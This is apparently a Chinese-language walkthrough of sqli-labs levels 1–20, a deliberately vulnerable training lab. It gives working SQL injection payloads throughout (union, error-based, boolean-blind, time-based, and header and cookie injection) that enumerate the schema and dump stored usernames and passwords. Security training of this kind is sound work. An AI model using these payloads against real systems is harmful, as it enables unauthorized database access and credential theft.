sqli-labs 1——20关攻略

1~10 GET传输

Less-1联合查询[ ’ ]
优点:查询方便 速度很快
缺点:必须要有显示位

1、判断sql语句中一共返回了多少列

 order by 3 --+
对比如下两张图的显示页面。得知有3列

sqli-labs 1——20关攻略_第1张图片
sqli-labs 1——20关攻略_第2张图片
2、查看显示位

union select 1,2,3 --+

sqli-labs 1——20关攻略_第3张图片
3、爆数据

union select 1,2,database()  ## 当前数据库名

sqli-labs 1——20关攻略_第4张图片
4、爆库名

union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+			# 爆出一个数据库
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+		# 爆出全部数据库

sqli-labs 1——20关攻略_第5张图片
sqli-labs 1——20关攻略_第6张图片
5、爆表名

union select 1,database(),(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+			# 爆出数据库" security "里的一个表名
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+		# 爆出数据库" security "里的所有表名

sqli-labs 1——20关攻略_第7张图片
在这里插入图片描述
6、爆列名

union select 1,database(),( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+				# 从表名" users "中爆出一个字段来
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+		# 从表名" users "中爆出全部字段来

sqli-labs 1——20关攻略_第8张图片
在这里插入图片描述
7、爆数据

union select 1,database(),concat(id,0x7e,username,0x7e,password) from users limit 0,1 --+					# 从" users "表里对应的列名中爆出一个数据来
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x7e,password)) from users) --+		# 从" users "表里对应的列名中爆出所有数据来

sqli-labs 1——20关攻略_第9张图片
在这里插入图片描述
至此,联合查询注入完成。

Less-2 联合查询[ ]
Less-3 联合查询[ ') ]
Less-4 联合查询[ ") ]
均按照Less-1查询步骤做细微调整即可(具体调整内容为见[ ]内)

Less-5 报错注入[ ’ ]
缺点:必须有数据库报错信息

1、判断是什么类型的注入
sqli-labs 1——20关攻略_第10张图片

extractvalue

1、爆数据

and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+			# 当前数据库

sqli-labs 1——20关攻略_第11张图片
2、爆库名

and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+		 # 爆出一个数据库

sqli-labs 1——20关攻略_第12张图片
3、爆表名

and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+			从当前数据库里爆出一个表名

sqli-labs 1——20关攻略_第13张图片
4、爆列名

and extractvalue(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x7e)) --+			# 从当前数据库里的" users "表里爆出一个字段名来

sqli-labs 1——20关攻略_第14张图片
5、爆数据

and extractvalue(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e)) --+			# 从" users "表里对应的列名中爆出一个数据来

sqli-labs 1——20关攻略_第15张图片

updatexml

1、爆数据

and updatexml(1,concat(0x7e,(select database()),0x7e),3) --+			# 当前数据库

2、爆库名

and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),3) --+		 # 爆出一个数据库

3、爆表名

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+			从当前数据库里爆出一个表名

4、爆列名

and updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x7e),3) --+			# 从当前数据库里的" users "表里爆出一个字段名来

5、爆数据

and updatexml(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e),3) --+			# 从" users "表里对应的列名中爆出一个数据来

floor

1、爆数据

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+			# 当前数据库

2、爆库名

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+		 # 爆出一个数据库

3、爆表名

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+			从当前数据库里爆出一个表名

4、爆列名

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema ='security' and table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+			# 从当前数据库里的" users "表里爆出一个字段名来 

5、爆数据

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+			# 从" users "表里对应的列名中爆出一个数据来

至此,报错注入完成。

Less-6 报错注入[ " ] 模仿Less-5报错注入步骤即可。

Less-7 本题要用到菜刀,本人水平有限,暂时跳过。

Less-8 布尔盲注[ ’ ]
优点:不需要显示位,不需要数据库报错信息,
只需要当数据库语句执行时没有结果和正常执行要有区别
缺点:速度慢

sqli-labs 1——20关攻略_第16张图片
sqli-labs 1——20关攻略_第17张图片
加单引号,页面返回不正常,通过–+注释后面的内容,内容返回正常

1、判断当前数据库的长度

and length(database())=8 --+

2、判断当前数据库里有几张表

and ((select  count(*) from information_schema.tables where table_schema=database())=4) --+

3、判断每张表的长度

and  length((select  table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+			#表"emails"

或⬇

and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1--+     #表"emails"

4、判断表" users "的列数

and ((select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3) --+

4.1、判断某张表的列数(以下也是以表" users "为例

and ((select count(*) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1))=3) --+

5、判断某张表里对应的字段的数据的长度

and  length((select username from users where id =1))=4 --+ 			# id=1,这个用户名的长度为4
and  length((select password from users where id =1))=4 --+ 			# id=1,这个用户名的密码的长度为4

2、猜测内容
1、猜测当前数据库的名字

and ascii(substr((select database()),1))=115--+

2、猜测某张表的表名(表users位于第四个)
在这里插入图片描述

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5))=115 --+

3、猜测某张表里的某个列名(以username为例,位于第二个)
sqli-labs 1——20关攻略_第18张图片

and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),8))=101 --+

3.1、猜测某张表里的某个列名(以表" users “里的字段” username "为例

and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 1,1),8))=101 --+

4、猜测某张表里列名为" username "的数据

and  ascii(substr((select username from users where id =1 ),2))=117 --+			# 以" Dump 为例"

或⬇

and ascii(substr((select username from users limit 0,1),1)) = 68--+

Less-9 延迟注入[ ’ ]
优点:不需要显示位,不需要数据库报错信息,
不需要页面有区别
缺点:速度太慢,误差大

sqli-labs 1——20关攻略_第19张图片
此时,用延迟注入来判断。
1、注入点判断

and sleep(5) --+			# 注入点正确时,页面卡住5秒中

2、if(表达式,值1,值2)
可以与盲注结合,形成基于时间的盲注

and if(length(database())=8,sleep(5),1) --+			# 表达式为Ture时,页面卡住5秒。否则页面卡住一秒

Less-10 延迟注入[ ” ]
双引号闭合的时间延迟型盲注。

11~20 POST传输

Less-11 联合查询【 ’ 】

**POST提交参数

sqli-labs 1——20关攻略_第20张图片
模拟真实环境,我们作为Dump用户使用Dump密码登陆,可以看到以下
sqli-labs 1——20关攻略_第21张图片
1、注入点判断
sqli-labs 1——20关攻略_第22张图片
然后基于post提交数据的联合查询(同GET一样的操作,不一样的位置)

2、查看显示位

uname=不存在的用户' union select 1,2 #&passwd=&submit=Submit

sqli-labs 1——20关攻略_第23张图片
Less-12 联合查询【 ") 】

POST提交参数
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)

Less-13 报错注入【 ') 】
POST提交参数
1、注入点判断

在这里插入图片描述
2、爆数据

uname=账号无所谓') and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=Dumb&submit=Submit	# 爆出当前的数据库

基于post提交数据的报错注入(同GET一样的操作,不一样的位置)

Less-14 报错注入【 " 】
POST提交参数

Less-15 布尔盲注【 ’ 】
POST提交参数
1、根据回显的页面的不同来判断
sqli-labs 1——20关攻略_第24张图片
sqli-labs 1——20关攻略_第25张图片
2、操作和GET操作的一样。位置不一样而已
基于post提交数据的布尔盲注(同GET一样的操作,不一样的位置)

Less-16 布尔盲注【 " 】
POST提交参数

Less-17 报错注入【 ’ 】
POST提交参数
sqli-labs 1——20关攻略_第26张图片
开始注入;
1.爆数据库名

a' or updatexml(1,concat('#',(select database())),1)#

sqli-labs 1——20关攻略_第27张图片
sqli-labs 1——20关攻略_第28张图片
2.爆表名

' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

sqli-labs 1——20关攻略_第29张图片
3.爆字段名

 ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#

sqli-labs 1——20关攻略_第30张图片
错误: 查询数据时,并不能直接用简单的select concat(username),这样会引起报错,
在这里插入图片描述
在这里插入图片描述
错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询

4.爆出所有用户和密码

' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a)),1)#

通过改变0位置的数值可以逐行查看到。每一个用户。
sqli-labs 1——20关攻略_第31张图片
解释一下代码,’ or updatexml(1,concat(’#’,(注入语句)),1)#
两个1都是凑字段的。

Less-18 http头部报错注入字段【 ’ 】
修改 User-Agen(前提,登录的账号密码要对)
1、通过Bp抓取数据包
sqli-labs 1——20关攻略_第32张图片
爆数据

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1			# 爆出当前数据库

1.爆数据库

 ' or updatexml(1,concat('#',(select database()),'#'),1),1,1)#

2.爆表名

' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'#'),1),1,1)#

3.爆字段名

 ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'#'),1),1,1)#

4.爆用户

 ' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a),'#'),1),1,1)#

通过修改limit后面的数值,来查询每个用户的账号和密码。

Less-19 http头部报错注入【 ’ 】
修改 Referer 字段
1、通过Bp抓取数据包
2、爆数据

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 报错型注入

sqli-labs 1——20关攻略_第33张图片
题目应该和18关用差不多的方法。经过验证19关是修改http头里面的referer。
方法基本和18关一样,但有一点19关我们要注入的语句需要减少一个凑字段的1.
注入语句原型为:’ or updatexml(1,concat(’#’,(clause),’#’),1),1)#

Less-20 Cookie注入
报错注入【 ’ 】
1、爆数据
sqli-labs 1——20关攻略_第34张图片
Cookie 头字段注入

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1			# 报错型注入

由于20关注入语句为查询语句,使用联合注入也可以,语句为:

 ' union select 1,2,database() #

结束语:本次sqli-labs 1-20关通关攻略到此为止,第一次写可能有一些小瑕疵请大家多包涵,谢谢观看!

你可能感兴趣的:(sqli-labs 1——20关攻略)